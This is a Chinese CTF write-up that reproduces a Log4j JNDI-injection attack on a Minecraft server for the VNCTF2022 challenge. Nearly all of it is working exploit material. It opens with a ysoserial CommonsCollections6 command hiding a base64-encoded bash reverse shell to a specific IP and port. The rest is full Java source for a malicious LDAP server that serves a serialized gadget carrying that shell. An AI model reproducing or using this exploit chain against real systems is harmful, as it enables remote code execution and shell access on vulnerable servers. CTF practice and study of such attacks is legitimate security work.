VNCTF2022 misc-minecraft log4j反弹shell复现

目录
警告
本文最后更新于 2023-01-29,文中内容可能已过时。

POC

hint mc的flag在/flag

Misc mc :hint log4j jdk8u261

commons-collections-3.2.1.jar

使用ysoserial.jar生成反序列化数据

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDkuMTQxLjMyLjc3LzIzMjIzIDA+JjE=}|{base64,-d}|{bash,-i}"|base64 -w 0

将得到的payload填入exp中

exp需要引用unboundid库

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    package com.company;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    import com.unboundid.util.Base64;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.text.ParseException;
    
    public class Main {
        private static final String LDAP_BASE = "dc=example,dc=com";
    
        public static void main(String[] args) {
    
            String url = "http://127.0.0.1:8001/#EvilObject";
            int port = 8001;
    
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen",
                        InetAddress.getByName("0.0.0.0"),
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
                System.out.println("Listening on 0.0.0.0:" + port);
                ds.startListening();
    
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
    
            private URL codebase;
    
            /**
             *
             */
            public OperationInterceptor(URL cb) {
                this.codebase = cb;
            }
    
            /**
             * {@inheritDoc}
             *
             * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
             */
    
            public void processSearchResult(InMemoryInterceptedSearchResult result) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                } catch (Exception e1) {
                    e1.printStackTrace();
                }
    
            }
    
            protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
                    throws LDAPException, MalformedURLException {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "Exploit");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if (refPos > 0) {
                    cbstring = cbstring.substring(0, refPos);
                }
    
                // Payload1: 利用LDAP+Reference Factory
                // e.addAttribute("javaCodeBase", cbstring);
                // e.addAttribute("objectClass", "javaNamingReference");
                // e.addAttribute("javaFactory", this.codebase.getRef());
    
                // Payload2: 返回序列化Gadget
                try {
                    e.addAttribute("javaSerializedData", Base64.decode(
                            "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHlNRGt1TVRReExqTXlMamMzTHpJek1qSXpJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
                } catch (ParseException exception) {
                    exception.printStackTrace();
                }
    
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
    
        }
    }

minecraft服务器环境是1.12.1,下载进入 log4j的其他bypass格式之前写过 就不发了 复现

flag

引用项目

https://github.com/frohoff/ysoserial https://github.com/pingidentity/ldapsdk 参考 JNDI 注入利用 Bypass 高版本 JDK 限制: http://wjlshare.com/archives/1661

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